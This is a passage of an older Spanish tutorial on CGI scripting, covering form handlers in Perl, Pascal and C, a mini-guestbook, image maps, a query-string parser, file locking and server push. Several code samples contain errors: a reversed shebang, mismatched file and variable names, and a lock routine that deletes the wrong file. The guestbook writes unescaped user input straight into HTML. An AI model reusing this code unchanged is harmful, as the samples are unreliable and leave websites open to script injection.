Perl, pero obviamente cambiando el nombre del ejecutable de acuerdo al lenguaje que estemos utilizando esto se soluciona. Veamos el form que vamos a utilizar: <HTML> <HEAD> <TITLE>Prueba con un FORM</TITLE> </HEAD> <BODY> <H1>Ingresa los datos que corresponden para hacer la prueba;</H1> <BR><HR> <FORM METHOD="POST" ACTION="http://mimaquina.midominio/cgi-bin/prueba.pl"> <UL> <LI>Nombre: <INPUT TYPE="text" NAME=nombre SIZE=20> <LI>Edad: <INPUT TYPE="text" NAME=edad SIZE=2> <LI>Hincha de: <SELECT NAME="equipo"> <OPTION SELECTED> Boca Juniors <OPTION> River Plate <OPTION> San Lorenzo <OPTION> Independiente <OPTION> Racing Club. <SELECT> <LI>Email: <INPUT TYPE="text" NAME=email SIZE=20> </UL> <INPUT TYPE="submit" VALUE="Ok"><BR> <INPUT TYPE="reset" VALUE="Borrar"><BR> </FORM> <HR> </BODY> </HTML> El script que utilizaremos será muy simple y nos va a servir de base para futuros desarrollos. Veamos paso a paso su estructura; 1. Primero llama al intérprete en caso de ser necesario (Perl). 2. Luego de incluír/cargar la librería, de alguna manera corre la función que separa QUERY_STRING en sus componentes individuales. 3. Asignamos dichos componentes a las variables que vamos a utilizar. 4. Imprimimos una salida, como en cualquier programa y.. 5. Listo! Aquí van los fuentes en cada uno de los lenguajes. ┌────────────────────────────────────────────────────────────────────────────┐ │ PERL │ ├────────────────────────────────────────────────────────────────────────────┤ │!#/usr/bin/perl <─── Esta línea llama al intérpre│ │ te de Perl. │ │ │ │push(@INC,"/var/opt/ncsa/httpd/cgi-bin"); │ │require("cgi-lib.pl"); <─── Incluímos la librería. │ │ │ │&ReadParse; <─── Separamos las variables. │ │ │ │$nombre = $in{'nombre'}; <─── Asignamos los valores que │ │$edad = $in{'edad'}; nos enviaron a las variables│ │$equipo = $in{'equipo'}; para utilizarlos. │ │$email = $in{'email'}; │ │ │ │print &PrintHeader; <─── Imprimimos el Header. │ │print "<HTML>\n"; │ │print "<HEAD>\n"; │ │print "<TITLE>Aprendiendo CGI-Segundo Ejercicio</TITLE>\n"; │ │print "</HEAD>\n"; │ │print "<BODY>\n"; │ │print "<HR>\n"; │ │print "Tu nombre es ",$nombre,"<BR>\n"; │ │print "Tenés ",$edad," años y sos simpatizante de ",$equipo,"<BR>\n"; │ │print "Si alguien quisiera escribirte tu email es: ",$email,"<BR>\n"); │ │print "<HR>\n"; │ │print "</BODY></HTML>\n"; │ │ │ ├────────────────────────────────────────────────────────────────────────────┤ │ PASCAL │ ├────────────────────────────────────────────────────────────────────────────┤ │Uses TPWCGI; <─── Incluímos la librería. │ │ │ │Var nombre, edad, <─── Definimos las variables │ │ equipo, email :string; que vamos a usar. │ │ │ │Begin │ │StartCGI; │ │ │ │nombre := Getvalue ('nombre',1); <─── Asignamos los valores que │ │edad := Getvalue ('edad',1); nos enviaron a las variables│ │equipo := Getvalue ('equipo',1); para utilizarlos. │ │email := Getvalue ('email',1); │ │ │ │MakeHeader; <─── Imprimimos el Header. │ │Send ('<HTML>'); │ │Send ('<HEAD>'); │ │Send ('<TITLE>Aprendiendo CGI-Segundo Ejercicio</TITLE>'); │ │Send ('</HEAD>'); │ │Send ('<BODY>'); │ │Send ('<HR>'); │ │Send ('Tu nombre es '+nombre+'<BR>'); │ │Send ('Tenés '+edad+'años y sos simpatizante de '+equipo+'<BR>'); │ │Send ('Si alguien quisiera escribirte tu email es: '+email+'<BR>'); │ │Send ('<HR>'); │ │Send ('</BODY></HTML>'); │ │ │ │EndCGI; │ │end. │ ├────────────────────────────────────────────────────────────────────────────┤ │ C │ ├────────────────────────────────────────────────────────────────────────────┤ │#include <stdio.h> │ │#include <errno.h> │ │#include <uncgi.h> <─── Incluímos la librería. │ │char *getenv(); │ │ │ │main() │ │{ │ │ char *nombre; <─── Definimos las variables │ │ char *edad; que vamos a usar. │ │ char *equipo; │ │ char *email; │ │ │ │uncgi(); <─── Separamos las variables. │ │ │ │nombre = getenv("WWW_nombre"); <─── Asignamos los valores que │ │edad = getenv("WWW_edad"); nos enviaron a las variables│ │equipo = getenv("WWW_equipo"); para utilizarlos. │ │email = getenv("WWW_email"); │ │ │ │printf ("Content-type: text/html\n\n"); <─── Imprimimos el Header. │ │printf ("<HTML>\n"); │ │printf ("<HEAD>\n"); │ │printf ("<TITLE>Aprendiendo CGI-Segundo Ejercicio</TITLE>\n"); │ │printf ("</HEAD>\n"); │ │printf ("<BODY>\n"); │ │printf ("<HR>\n"); │ │printf ("Tu nombre es %s <BR>\n",nombre); │ │printf ("Tenés %s años y sos simpatizante de %s <BR>\n",edad,equipo); │ │printf ("Si alguien quisiera escribirte tu email es: %s <BR>\n",email); │ │printf ("<HR>\n"); │ │printf ("</BODY></HTML>\n"); │ │} │ └────────────────────────────────────────────────────────────────────────────┘ Es evidente que a partir de este punto podríamos abordar cosas más complicadas si quisieramos, ya que es posible utilizar todos los recursos de cada lenguaje para efectuar las acciones y procesos que queramos. Como sugerencia, la estructura que propongo para un script más o menos decente es la siguiente ( de todas maneras igual que en matemáticas de primer grado, "el orden de los factores no altera el producto", aunque sí lo hace más díficil de mantener :)! ┌──────────────────────────────┐ │ Asignación de variables. │ ├──────────────────────────────┤ │ Proceso principal del script │ │ que generará la salida que │ │ deseamos a partir de los │ │ datos de entrada. │ ├──────────────────────────────┤ │ Envío de la página con los │ │ resultados del proceso. │ └──────────────────────────────┘ Lo mejor es comenzar a practicar con las estructuras más comunes, decisión(IF) e iteración (FOR), haciendo pequeños programas y probando las salidas obtenidas. Por ejemplo, un script que dependiendo del contenido de la variable "nombre" retorne una página con distintos mensajes según sea quien ha completado el form. Los scripts pueden hacer cosas más complicadas, como verificar que los campos sean llenados correctamente, modificar archivos y hasta retornar una página que no haya sido elaborada por ellos. En el siguiente y último punto veremos como implementar estos métodos en la forma de un 'mini-guestbook'. Un Mini-GuestBook Vamos a armar una especie de Mini-Libro de Firmas, una aplicación bastante difundida, que nos servirá de ejemplo para mostrar los puntos que mencioné más arriba. Esto comienza con un form muy chiquito que solicita los siguientes datos; * Nombre * Email * Comentarios A partir de allí, lo que el usuario ingrese será grabado en otra página, la página del guestbook más precisamente, y luego finalmente se presentará una pantalla agradeciendo el comentario e invitando a mirar el Libro. Para poder conseguir lo que queremos, utilizaremos un método muy común, estableceremos una marca invisible (un comentario) en la página en cuestión y tomaremos dicha marca como punto de partida para cada nuevo comentario. Los pasos a seguir en este caso son los siguientes: 1. Verificar la entrada del usuario, para que no existan campos vacíos, retornando un mensaje de error si existe algun problema. 2. Abrir y leer la página del mini-guestbook línea por línea (grabando cada una de ellas en un archivo temporario) hasta encontrar la marca que indica el comienzo de los comentarios (o sea el último ingresado), grabar después de la misma el input del usuario y terminar de copiar el resto del archivo. 3. Cerrar los archivos, borrar el original y renombrar el temporario. 4. Devolver un código de retorno "Location.." que llevará al usuario a una página de agradecimiento que tendrá un link al guestbook. Muchos se preguntarán, Y que pasa si dos usuarios acceden al mismo tiempo al archivo? Cómo hacen para leerlo/grabarlo? Quién tiene prioridad? Creo que sería intentar avanzar demasiado en este momento, a manera de comen- tario (de todas maneras les contaré como hacerlo en la tercera parte) lo que se necesita es una manera de trabar el acceso al archivo mientras se esté trabajando con él. Como siempre, veremos el form que permite al usuario agregar su nombre y su comentario a nuestro Libro de Firmas. <HTML> <HEAD> <TITLE>Firme nuestro Libro</TITLE> </HEAD> <BODY> <H1>Ingrese sus datos y el comentario que desee hacernos:</H1> <BR><HR> <FORM METHOD="POST" ACTION="http://mimaquina.midominio/cgi-bin/ingreso.pl"> Nombre:<BR><INPUT TYPE="text" NAME=nombre SIZE=20><BR> Email: <BR><INPUT TYPE="text" NAME=email SIZE=20><BR> Su comentario: <BR> <TEXTAREA NAME="comentario" ROWS=5 COLS=40> Escriba aqui su comentario.</TEXTAREA> <BR> <INPUT TYPE="submit" VALUE="Ok"><BR> <INPUT TYPE="reset" VALUE="Borrar"><BR> </FORM> <HR> </BODY> </HTML> ┌────────────────────────────────────────────────────────────────────────────┐ │ PERL │ ├────────────────────────────────────────────────────────────────────────────┤ │!#/usr/bin/perl <─── Esta línea llama al intérpre│ │ te de Perl. │ │ │ │push(@INC,"/var/opt/ncsa/httpd/cgi-bin"); │ │require("cgi-lib.pl"); <─── Incluímos la librería. │ │ │ │&ReadParse; <─── Separamos las variables. │ │ │ │$nombre = $in{'nombre'}; <─── Asignamos los valores que │ │$email = $in{'email'}; nos enviaron a las variables│ │$comentario = $in{'comentario'}; para utilizarlos. │ │ │ │ │ │if (($nombre eq "") || ($email eq "") <─── Si alguno de los campos está│ │ || ($comentario eq "")) vacío, retornaremos la │ │ { siguiente página con este │ │print &PrintHeader; mensaje de error. │ │print "<HTML>\n"; │ │print "<HEAD>\n"; │ │print "<TITLE> Error en el Ingreso</TITLE>\n"; │ │print "</HEAD>\n"; │ │print "<BODY>\n"; │ │print "<HR>\n"; │ │print "<H1>Alguno de los campos que ingresó no contenía datos </H1>"; │ │print "Por favor apriete este boton para ingresar sus datos nuevamente"; │ │print "<AHREF="/images/boton.gif"> │ │print "<HR>\n"; │ │print "</BODY></HTML>\n"; │ │exit; <─── Esto hace una llamada para │ │} finalizar el script luego │ │ del mensaje de error. │ │ │ │open(GB,"</htdocs/mini-gb.html"); <─── Abrimos y leemos el │ │@lineas = <GB>; original guardando su conte-│ │close GB; nido en el array "lineas". │ │ │ │$comentario =~ s/\n/<BR>\n/go; <─── Agregamos los "breaks" │ │ en cada newline del │ │ contenido de la TEXTAREA. │ │ │ │ │ │ open(GB,">/htdocs/mini-gb.htm"); │ │ foreach $linea (@lineas) { │ │ $linea =~ s/<!--ULTIMO COMENTARIO-->/<!--ULTIMO COMENTARIO-->\nNombre: │ │ $nombre<BR>\n Email: <A HREF=\"mailto:$email\">$email<\A><BR>\n │ │ Comentarios:<BR>\n$comentario<HR>\n/o; │ │ │ │ │ print GB $line; └─>Aquí grabamos cada línea,reemplazando │ │ } con el input del usuario en el lugar │ │ close GB; donde encontremos la marca. │ │ │ │ │ │print "Location: http://mimaquina.midominio/httdocs/gracias.htm\n\n"; │ │ │ │ │ └─>Vamos a la página de agradecimiento. │ │ │ │ │ ├────────────────────────────────────────────────────────────────────────────┤ │ PASCAL │ ├────────────────────────────────────────────────────────────────────────────┤ │Uses TPWCGI; <─── Incluímos la librería. │ │ │ │Var nombre, edad, linea <─── Definimos las variables │ │ equipo, email :string; que vamos a usar. │ │ Arch-In, Arch-Out :text; │ │ │ │assign (Arch-In,'D:\WEBSITE\HTDOCS\MINI-GB.HTM'); │ │assign (Arch-Out,'D:\WEBSITE\HTDOCS\MINI-GB.TMP'); │ │ │ │reset (Arch-in); │ │rewrite (Arch-Out); │ │linea := ''; │ │ │ │Begin │ │StartCGI; │ │ │ │nombre := Getvalue ('nombre',1); <─── Asignamos los valores que │ │email := Getvalue ('email',1); nos enviaron a las variables│ │comentario := Getvalue ('comentario',1); para utilizarlos. │ │ │ │ │ │if (( nombre = '') or (email = '') <─── Si alguno de los campos está│ │ or (comentario = '') ) vacío, retornaremos la │ │then begin siguiente página con este │ │ MakeHeader; mensaje de error. │ │ Send ('<HTML>'); │ │ Send ('<HEAD>'); │ │ Send ('<TITLE> Error en el Ingreso</TITLE>'); │ │ Send ('</HEAD>'); │ │ Send ('<BODY>'); │ │ Send ('<HR>'); │ │ Send ('<H1>Alguno de los campos que ingresó no contenía datos </H1>'); │ │ Send ('Por favor apriete este boton e ingrese sus datos nuevamente'); │ │ Send ('<A HREF="/images/boton.gif"> │ │ Send ('<HR>\n'); │ │ Send ('</BODY></HTML>'); │ │ EndCGI; │ │ end; │ │ │ │else begin │ │ │ │ Readln (Arch-In, linea); │ │ while and NOT EOF (Arch-In) do │ │ begin │ │ Writeln (Arch-Out, linea); ┌>Aquí grabamos cada línea,reemplazando│ │ Readln (Arch-In, linea); │ con el input del usuario en el lugar │ │ │ donde encontremos la marca. │ │ │ │ │ If (linea = '<!--ULTIMO COMENTARIO-->') │ │ then begin │ │ Writeln (Arch-Out, linea); │ │ linea := 'Nombre: '+nombre+'<BR>'; │ │ Writeln (Arch-Out, linea); │ │ linea := 'Email:<A HREF="mailto:'+email+'">+email+'</A><BR>';│ │ Writeln (Arch-Out, linea); │ │ linea := 'Comentario: <BR>'; │ │ Writeln (Arch-Out, linea); │ │ for i := 1 to GetLinNum ('comentario') do │ │ begin │ │ linea := GetValue ('comentario',1)+'<BR>'; │ │ Writeln (Arch-Out, linea); │ │ end; │ │ │ end; └────> Agregamos los "breaks" │ │ end; en cada newline del │ │ contenido de la TEXTAREA. │ │Close (FI); │ │Close (FO); │ │ │ │erase (FI); │ │rename (FO,'D:\WEBSITE\HTDOCS\DOCUMEN\MINI-GB.HTM'); │ │ │ │Send ('Location: http://mimaquina.midominio/httdocs/gracias.htm'); │ │Send (''); │ │ │EndCgi └─>Vamos a la página de agradecimiento. │ │end. │ │ │ └────────────────────────────────────────────────────────────────────────────┘ Me pareció redundante incluir la versión en C ya que esta puede ser fácilmente inducida a partir del fuente en Pascal. Como el TEXTAREA que utilizamos para cargar el comentario entrega sus datos sólo separados por newlines, tuvimos que hacer un pequeño proceso en cada uno de los programas para generar un <BR> por cada uno de ellos en la página definitiva. Notarán que existe diferencias en la forma de hacer el "update" del archivo en cada una de las versiones. En el fuente Perl aproveché una función de sustitu ción bastante potente que simplifica las cosas, en cambio en la versión en Pascal hubo que hacer dicha sustitución "a mano". Para finalizar esta segunda parte veremos una especie de lista de cosas a tomar en cuenta la hora de programar scripts CGI. Puntos importantes al programar scripts. Un script CGI debe; * Ser ejecutable (o en el caso de Perl incluir la llamada al intérprete) * Estar ubicado en el directorio cgi-bin. La ubicación de este server va a estar definida por el administrador del server. * Sea capaz de acceder a los archivos que necesita. Como el script corre desde el directorio cgi-bin, todas las referencias relativas que hagamos van a estar referenciadas al mismo. Por las dudas, cuando tengamos que retornar una página HTML completa, usemos su URL completa (http://....) . * Tener seteados los permisos correctamente. Perdonen que siga jodiendo con lo mismo, pero más de una vez las cosa no me anduvieron por esta sencilla razón. (Nadie podía ejecutar el programa excepto yo...) ------------------------------------------------------------------------------ Imágenes clikeables. A pesar que este tipo de elementos no está conectado directamente con los scripts CGI pensé en incluirlos dado que también son una de las formas de incrementar la interactividad entre el usuario y el web site. Básicamente una imágen clikeable (es una acepción que inventé, ya fué la que me pareció más correcta en castellano) es una imágen, un gráfico que cuando es clikeada en alguna de sus partes envía las coordenadas X e Y de la posición del mouse en ese momento y el server a partir de ellas genera un enlace con otras páginas. El uso más común de este tipo de imágenes es crear barras de herramientas personalizadas, o regiones en un gráfico que permitan al usuario navegar hasta un nuevo documento. En teoría existen tres formas de lograr este tipo de imagenes; ┌────────────────────────────────────────────────────────────────────────────┐ │Server-Side Image Maps (antigua) │ │Es la forma más antigua, utilizaba un FORM para enviar la información y │ │había que programar un script en el server que procesara dicha información. │ ├────────────────────────────────────────────────────────────────────────────┤ │Server-Side Image Maps (moderna) │ │Es la forma más común y más ampliamente utilizada, utiliza el tag ISMAP y la│ │información es procesada por el web server. │ ├────────────────────────────────────────────────────────────────────────────┤ │Client-Side Image Maps │ │Es la forma más moderna (y menos difundida) sólo soportada por los browsers │ │en sus últimas versiones,y la información es procesada por el mismo browser.│ └────────────────────────────────────────────────────────────────────────────┘ Como todos los Web servers de la actualidad soportan la segunda forma, descartaremos la revisión de la primera y comenzaremos directamente a usar el tag ISMAP. Partiendo de una imagen (un .GIF) elegiremos dentro de ella las áreas que funcionarán como links a otros documentos. Dichas áreas pueden ser definidas en base a uno o más de los siguientes elementos. RECT (x1,y1) (x2,y2) Determina un área rectangular en base a los vértices de su diagonal principal. CIRCLE (a,b,r) Determina un círculo de centro (a,b) y de radio r. POLY (x1,y1) (x2,y2) .... (x1,y1) Determina un polígono cuyos vértices (x,y) son dispuestos secuencialmente uno detrás de otro. Almacenaremos estos elementos en un archivo que tendrá más o menos el siguiente formato: ┌──────────────────────────────────────────────────────────┐ │ default /default.htm │ │ RECTANGLE (475,157) (611,344) /principal.htm │ │ RECTANGLE (233,182) (447,359) /buscar.htm │ │ CIRCLE (130,54,20) /circulo.htm │ │ POLY (46,27) (57,33) (58,23) (68,35) (46,27) /carita.htm │ └──────────────────────────────────────────────────────────┘ Usando un paquete gráfico cualquiera y revisando la posición del cursor podremos construir este tipo de archivos, el único problema es que nos puede resultar bastante tedioso el hacerlo "a mano". Existe un freeware realmente excelente llamado MapThis! que hace todo el trabajo por nosotros que puede ser bajado de cualquier repositorio de shareware como OAK, Garbo, CICA, SimTel, etc.. Veamos entonces la estructura del archivo. La primera línea linkea el documento que será cargado en caso de que no clikeemos en ninguna de las áreas especificadas por los elementos que definimos. Si omitimos el tipo de elemento el server tomará por default el RECT. Por convención, grabaremos este archivo con la extensión .MAP en el directorio que más nos convenga. Cuando tengamos que poner el tag IMG correspondiente a la imagen en la página en cuestión, agregaremos el parámetro ISMAP y haremos un hyperlink al .MAP de esta manera. <A HREF="/maps/dibujo.map"><IMG SRC="/images/barrita.gif" BORDER=0 ISMAP></A> Entonces una vez cargada la página en nuestro browser, cada vez que clikeemos en alguna parte de la imagen , el browser enviará las coordenas de la ubicación en la que nos encontrabamos (esos numeritos que aparecen en la barra de status) al server, y luego de esperar su proceso, éste último nos devolverá la respuesta correspondiente. Este mecanismo (Server-side), induce un cierto retardo (el proceso por parte del server de nuestro pedido) por lo cual recientemente Netscape introdujo un un nuevo mecanismo conocido como Client-Side Image Maps el cual veremos a continuación. Client-Side Image Maps. En vez de realizar la conversión coordenadas/hyperlink en el server, esta será realizada por el browser. El .MAP que definíamos en el método anterior AHORA debe estar incluído DENTRO del código HTML con el siguiente formato. <MAP NAME="barradetareas"> <AREA SHAPE="RECT" COORDS="475,157,611,344" HREF="principal.htm"> <AREA SHAPE="RECT" COORDS="233,182,447,359" HREF="buscar.htm"> <AREA SHAPE="CIRCLE" COORDS="130,54,20" HREF="circulo.htm"> <AREA SHAPE="POLY" COORDS="46,27,57,33,58,23,68,35,46,27" HREF="acarita.htm"> </MAP> Y el link en el tag IMG quedaría así: <IMG SRC="/images/barrita.gif" USEMAP="#barradetareas"> En MAPNAME definimos el nombre del mapa y en USEMAP lo referenciamos. Al probarlo podremos ver que en la barra de status no aparecen las coordenadas sino directamente el nombre de la página en cuestion. Si utilizamos nombres de página significativos esto puede ser de gran ayuda para el usuario. Este método obviamente es mucho más rápido (no implica un intercambio de información con el server) pero tiene la desventaja de que no está implementado en todos los browsers todavía, a pesar de que está propuesto como estándar para la definición de HTML 3.0. Para cubrir este aspecto podemos utilizar los dos métodos simultáneamente de esta manera. <A HREF="/maps/dibujo.map"> <IMG SRC="/images/barrita.gif" USEMAP="#barradetareas" BORDER=0 ISMAP></A> Si el browser no llegara a entender el USEMAP, procesará nuestro pedido en base al link del ISMAP. Desempaquetando información. Aunque este tema puede resultar algo "técnico" creo que resulta interesante incorporarlo al tutorial, ya que nos permite conocer el funcionamiento de esas "cajas negras" que son las librerías, las cuales hemos utilizado al programar nuestros scripts. Sabemos que cuando usamos el método POST toda la información de un form es "empaquetada" en una variable llamada QUERY_STRING, pero... en qué forma? La variable QUERY_STRING puede almacenar solamente un string continuo sin espacios, de manera que para enviar varios campos (y espacios) debe existir algún tipo de codificación de los mismos. De hecho, podemos verla en el siguiente ejemplo. Supongamos que en nuestro form solicitamos los siguientes datos: ┌──────────────────────────────────┐ │Nombre: Sebastian │ (para variar :) │Edad: 22 │ │Simpatizante de: Boca Juniors │ (que grande boquita:-> └──────────────────────────────────┘ Como decíamos estos datos deben ser empaquetados en un único string, esto se hace poniendo un "&" (ampersand) entre cada variable y reemplazando cada espacio por un signo "+", con lo cual conseguimos que la variable quede así; ╔══════════════════════════════════════════════════════════════╗ ║QUERY_STRING = "nombre=Sebastian&edad=22&equipo="Boca+Juniors"║ ╚══════════════════════════════════════════════════════════════╝ Adicionalmente, ciertos caracteres son reemplazados por su valor ASCCI en un formato hexadecimal (%xx). Como vemos, esta ensalada de letras es imposible de manejar tal como está, por lo tanto recurrimos a los "parsers" cuya función es la de separar estos valores en cómodas y agradables variables. Parsers CGI. La rutina escrita para Perl es un poco (sólo un poco) más clara que su correspondiente equivalente en C, por lo tanto la utilizaremos para la explicación del funcionamiento de un parser. Perl utiliza los llamados "arrays asociativos" que son muy similares a los arrays que todos conocemos, excepto por la salvedad (y a la vez gran ventaja) de que los índices no son númericos, sino alfanúmericos. Cómo es esto ? En esta rutina, todos los campos que se separan son almacenados en un array asociativo con el nombre @in. Si queremos acceder al contenido del campo edad, por ejemplo, éste se encuentra en la posición "edad" y el código empleado es el siguiente. @in { 'nombre'}; Lo que sigue es la rutina &ReadParse (que figura en la líbreria "cgi-lib.pl" de S.E.Brenner) comentada ampliamente para su mejor entendimiento. ┌────────────────────────────────────────────────────────────────────────────┐ │# Perl Routines to Manipulate CGI input │ │# S.E.Brenner@bioc.cam.ac.uk │ ├────────────────────────────────────────────────────────────────────────────┤ │# ReadParse │ │# Lee datos envíados con POST o GET, los convierte a texto simple,y pone │ │# un campo=valor en cada componente de la lista "@in" │ │# También crea pares de campo/valores en %in, usando '\0' para separar │ │# selecciones múltiples │ │ │ │sub ReadParse { │ │ # Definición de las variables a utilizar. │ │ local (*in) = @_ if @_; │ │ local ($i, $loc, $key, $val); │ │ │ │ # De acuerdo al método de envío almacena en la variable $in el texto. │ │ if ($ENV{'REQUEST_METHOD'} eq "GET") { │ │ $in = $ENV{'QUERY_STRING'}; │ │ } elsif ($ENV{'REQUEST_METHOD'} eq "POST") { │ │ read(STDIN,$in,$ENV{'CONTENT_LENGTH'}); │ │ } │ │ │ │ @in = split(/&/,$in); #separa en un array los contenidos de $in que se│ │ encuentran separados por "&" │ │ │ │ foreach $i (0 .. $#in) { │ │ #Convierte los "+" en espacios. │ │ $in[$i] =~ s/\+/ /g; │ │ │ │ # Separa el campo y su contenido . │ │ ($key, $val) = split(/=/,$in[$i],2); # corta en el primer =. │ │ │ │ # Convierte %XX de números hexadecimales a alfanúmericos. │ │ $key =~ s/%(..)/pack("c",hex($1))/ge; │ │ $val =~ s/%(..)/pack("c",hex($1))/ge; │ │ │ │ # Asocia cada campo con su valor. │ │ # usando \0 como separador de elementos múltiples(checkbox por ej) │ │ $in{$key} .= "\0" if (defined($in{$key})); │ │ $in{$key} .= $val; │ │ │ │ } │ │ return 1; │ │} │ └────────────────────────────────────────────────────────────────────────────┘ Esta no es la única librería que existe para manejar CGI bajo Perl , pero sí la más utilizada. Según el autor nuevas versiones incorporarán más facilidades, tales como file uploading y otras. Locking de archivos. En la segunda parte de este documento planteé el hecho problemático de que dos usuarios pretendan acceder al mismo tiempo a un mismo archivo, como es el caso del mini-guestbook. En Unix tenemos recursos que nos permiten realizar este tipo de bloqueos con una llamada al sistema, pero bajo otros sistemas (y para mantener la "transpor tabilidad" de nuestros scripts, veremos una técnica muy simple que puede ser implementada en cualquier plataforma y que puede ser utilizada sin problemas. Cuando dos usuarios quieren leer/escribir un mismo archivo (en realidad los scripts llamados por ellos) se produce un conflicto, el de saber quien tiene la prioridad al hacerlo. Una manera de resolver este conflicto es crear un archivo "lock" cuya sola presencia nos indique que el archivo esta siendo accedido en ese momento. Así cuando nuestro script pretenda leer/escribir el archivo, primero consultará la existencia del "lock", si existe esperará un segundo y volverá a intentar y en caso de que no exista lo creará y procederá a la consulta. Un ejemplo comentado en Perl nos mostrará esta técnica: ┌───────────────────────────────────────────────────────────────────┐ │$salir = 'no'; │ │ while ($salir != 'si') { │ │ if (-e "/mini-gb.lock") { │ │ # Si el archivo existe, esperamos 1 segundo. │ │ sleep(1); │ │ } │ │ else { │ │ # Al no existir el archivo, lo creamos y empezamos el proceso.│ │ open(LOCK,">/mini-gb.lock"); │ │ close LOCK; │ │ . . . . . . . . .Proceso de nuestro script. . . . . . . . . │ │ │ │ # Destrabamos el archivo (lo eliminamos) │ │ unlink("/guestlock"); │ │ │ │ #Salimos de nuestra rutina │ │ $salir = si; │ │ } │ │ } │ └───────────────────────────────────────────────────────────────────┘ Scripts avanzados. A partir de este punto analizaremos en detalle los requisitos para el manejo de documentos dinámicos, profundizando en el conocimiento de la forma de trabajo del protocolo HTTP y los mensajes MIME. Documentos Dinámicos Para introducirnos en el tema de los documentos dinámicos nos basaremos en una aplicación práctica, la animación, es decir imagenes en movimiento sin dejar de lado el hecho de que esta última es sólo una de las múltiples posibilidades que nos brinda el manejo dinámico de la información. Actualmente existen tres métodos (si incluimos el gif multipart) para poder manejar información dinámicamente, en orden de eficiencia estos son; ┌────────────────────────────────────────────────────────────────────────────┐ │Client Pull │ │El server envía un "stream" de información, incluyendo una directiva (en la │ │respuesta HTTP) que dice "vuelva a cargar estos datos en 5 segundos" o "vaya│ │y cargue esta URL en 10 segundos". Despúes de que se cumple el tiempo especi│ │ficado, el browser hace lo que se le indicó, o sea recargar la página actual│ │o conseguir una nueva página. │ ├────────────────────────────────────────────────────────────────────────────┤ │Server Push │ │El server envía un "stream" de información y el browser la muestra, pero │ │sigue manteniendo la conexión abierta; cuando el server lo requiera, puede │ │continuar enviando más información para que el browser la muestre, y así │ │sucesivamente.. │ ├────────────────────────────────────────────────────────────────────────────┤ │Gif multipart │ │Se trata del método más avanzado (lo vieron en WebTV?) que utiliza un nuevo │ │formato de imagen GIF en donde se incluyen múltiples cuadros separados por │ │comandos de animación, los cuales pueden ser vistos con el browser de │ │Netscape partir de la versión 2.0 │ └────────────────────────────────────────────────────────────────────────────┘ Analicemos en detalle cada uno de los métodos. Client Pull Para muestra basta un botón, así que de entrada prueben el siguiente código; <META HTTP-EQUIV="Refresh" CONTENT=1> <TITLE> Primera página</TITLE> <H1> HOLA! </H1> Una demostracion de documentos dinamicos<P> Y?? Qué pasó?, por el bien de este tutorial espero que el documento haya sido recargado por el browser al pasar un segundo. Esto lo logramos al agregar el tag "META" (el cual permite simular respuestas HTTP en páginas HTML) que le dice al browser que el server le está enviando un header con la indicación "Refresh: 1". Cambiando el valor, cambiamos el tiempo de retardo obviamente. Observemos que cada directiva "Refresh" es única y por tanto la página NO será refrescada cada un segundo eternamente, sino una única vez y que al tratarse de una respuesta HTTP (simulada) la misma debe figurar al comienzo de nuestra página. Otra cosa que podemos lograr con este tag es cargar otro URL luego de una determinada cantidad de tiempo. La sintaxis es la siguiente: <META HTTP-EQUIV="Refresh" CONTENT=10; URL=http://mimaq.midominio/dinamic.htm> Que hará que el browser luego de diez segundos de haber cargado la primera página vaya y traiga la que se encuentra referenciada por la variable URL. Un detalle importante es que debemos utilizar URLs absolutos, es decir incluir en la definición el "http://..." y no emplear URLs relativos. Y que pasaría si hacemos lo siguiente: ┌──────────────────────────────────────┬─────────────────────────────────────┐ │pri.html │ seg.html │ ├──────────────────────────────────────┼─────────────────────────────────────┤ │<META HTTP-EQUIV="Refresh" CONTENT=3; │<META HTTP-EQUIV="Refresh" CONTENT=3;│ │URL=http://mimaq.midominio//seg.html> │URL=http://mimaq.midominio//pri.html │ │ │ │ └──────────────────────────────────────┴─────────────────────────────────────┘ Más de uno se habrá dado cuenta de que estos dos documentos se llaman el uno al otro cada tres segundos, generando una especie de "loop" infinito. A partir de este ejemplo, podemos inducir varias otras combinaciones tales como la de un documento que se llame a si mismo cada 0 segundos provocando así también este tipo de "loops sin fin". O podríamos hacer una cadena más larga, como la que sigue; Página 1 ┐  Página 2 ┐ Con la cual obtendríamos una especie │ Página 3 ┐ de animación aunque por cierto, │ Página 4 ┐ bastante pobre. │ Página 5 └───────────────────────────┘ Un ejemplo de utilización práctica de esta técnica ocurre en aquellas páginas que nos indican que la página original ha cambiado de lugar y que en cinco segundos seremos automáticamente redireccionados a la nueva ubicación. Server Push En contraste con el Client Pull, este mecanismo aprovecha que el server puede mantener una conexión abierta por un tiempo indefinido, dejando espacio para que sean enviadas varias respuestas secuencialmente. Para lograrlo se utiliza un tipo MIME experimental (nuevo, no registrado aún como standard) llamado "multipart/x-mixed-replace". Mensajes MIME multipart. Existen varios tipos diferentes de mensajes "multipart"MIME. Cada uno de ellos le indica al cliente como debe procesar las diferentes partes que le serán enviadas. Con el tipo "multipart/mixed", la información de cada parte es independiente de las otras, y el cliente debería mostrar una tras otra a medida que van llegando. Con el tipo "multipart/alternative", la información de cada parte es idéntica, pero estan formateadas de una manera distinta de manera que el cliente determina cual es el "mejor" formato que puede mostrar (por ejemplo elige "rich text" en vez de plain text) y lo muestra. Con el tipo "multipart/parallel", el cliente debería mostrar cada parte simultáneamente, si le fuera posible. Con el tipo "multipart/mixed-replace" que será el que utilizaremos, cada parte del mensaje se superpone a la parte anterior; el cliente sobreescribe la parte vieja con la más nueva. Un mensaje MIME multipart está compuesto de un header y una o más partes que componen la totalidad del mensaje. El header indica como deben ser procesadas las distintas partes del mensaje y cuales son los separadores de las mismas, como ejemplo; Content-Type: multipart/x-mixed-replace;boundary=SeparaPartes Cuando el cliente encuentra este tipo en el header, hace un refresh del sector correspondiente cada vez que una nueva parte del mensaje llega, sobreescribiendo de esta manera la anterior. Cada parte del mensaje tiene su propio header, el cual indica el tipo de datos que esa parte contiene, "plain text", un gráfico GIF o HTML por ejemplo. El header de cada parte siempre se encuentra debajo del separador que hallamos especificado (en la línea que vimos le pusimos "SeparaPartes" de nombre al separador , pero podríamos haber utilizado cualquier otro). El server indica el fin de un mensaje multipart enviando un separador con el agregado de dos guiones, por ejemplo nuestro separador quedaría; --SeparaPartes El script que sigue es una version reducida del NPH 1.2 creado por Matt Wright y en él veremos una implementación comentada del mecanismo que acabamos de describir. ┌────────────────────────────────────────────────────────────────────────────┐ │ #!/usr/bin/perl │ │ # Variables │ │ $veces = "1"; │ │ $dirbase = "/WWW/images/animation/"; │ │ @archivos = ("primero.gif","segundo.gif","tercero.gif","primero.gif"); 